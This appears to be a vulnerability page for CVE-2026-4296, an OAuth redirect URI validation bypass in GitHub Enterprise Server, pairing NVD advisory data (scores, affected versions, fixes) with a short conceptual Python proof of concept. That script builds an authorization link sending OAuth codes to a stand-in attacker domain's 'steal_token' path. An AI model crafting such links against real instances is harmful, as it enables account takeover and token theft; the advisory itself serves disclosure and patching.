CVE-2026-4296

# PoC for CVE-2026-4296: OAuth Redirect URI Bypass # This script demonstrates the conceptual generation of a malicious link. import urllib.parse def generate_malicious_link(target_host, client_id, malicious_domain): # Base endpoint for authorization auth_endpoint = f"{target_host}/login/oauth/authorize" # The vulnerability allows bypassing the regex check for redirect_uri. # An attacker crafts a URI that looks valid to the regex but points to them. # Example: Exploiting regex anchoring issues or character class misinterpretation. bypass_redirect_uri = f"{malicious_domain}/steal_token" params = { "client_id": client_id, "redirect_uri": bypass_redirect_uri, "scope": "read:user,repo", "state": "random_security_token" } return f"{auth_endpoint}?{urllib.parse.urlencode(params)}" # Usage Example # target = "https://github.enterprise.local" # client = "d81c8b3c9e1f2a3b" # evil = "https://attacker.com" # print(generate_malicious_link(target, client, evil))

{"cve": {"id": "CVE-2026-4296", "sourceIdentifier": "[email protected]", "published": "2026-04-21T23:16:21.807", "lastModified": "2026-04-29T12:39:18.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An incorrect regular expression vulnerability was identified in GitHub Enterprise Server that allowed an attacker to bypass OAuth redirect URI validation. An attacker with knowledge of a first-party OAuth application's registered callback URL could craft a malicious authorization link that, when clicked by a victim, would redirect the OAuth authorization code to an attacker-controlled domain. This could allow the attacker to gain unauthorized access to the victim's account with the scopes granted to the OAuth application. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.1, 3.19.5, 3.18.8, 3.17.14, 3.16.17, 3.15.21, 3.14.26. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-185"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.14.26", "matchCriteriaId": "72A92258-9FCC-41E0-856B-3C2A495575A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15.0", "versionEndExcluding": "3.15.21", "matchCriteriaId": "3A14A459-881C-437A-88EC-D721E3005329"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.0", "versionEndExcluding": "3.16.17", "matchCriteriaId": "8B7DCD9A-2CF0-4D96-AA96-ACEC662A8E1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.14", "matchCriteriaId": "CEC2ADE6-3E31-4889-9A73-B6695FE0AB52"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.8", "matchCriteriaId": "9B15B12E-00A8-48E8-81DE-54506B94A2C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.0", "versionEndExcluding": "3.19.5", "matchCriteriaId": "56903EAF-4579-4263-AB0F-863323E7C81A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:3.20.0:*:*:*:*:*:*:*", "matchCriteriaId": "DCA4F97D-688E-45D2-90C0-8A11E9B531AA"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.14.26", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.15.21", "source": "[email protected]", "tags": [" ... (truncated)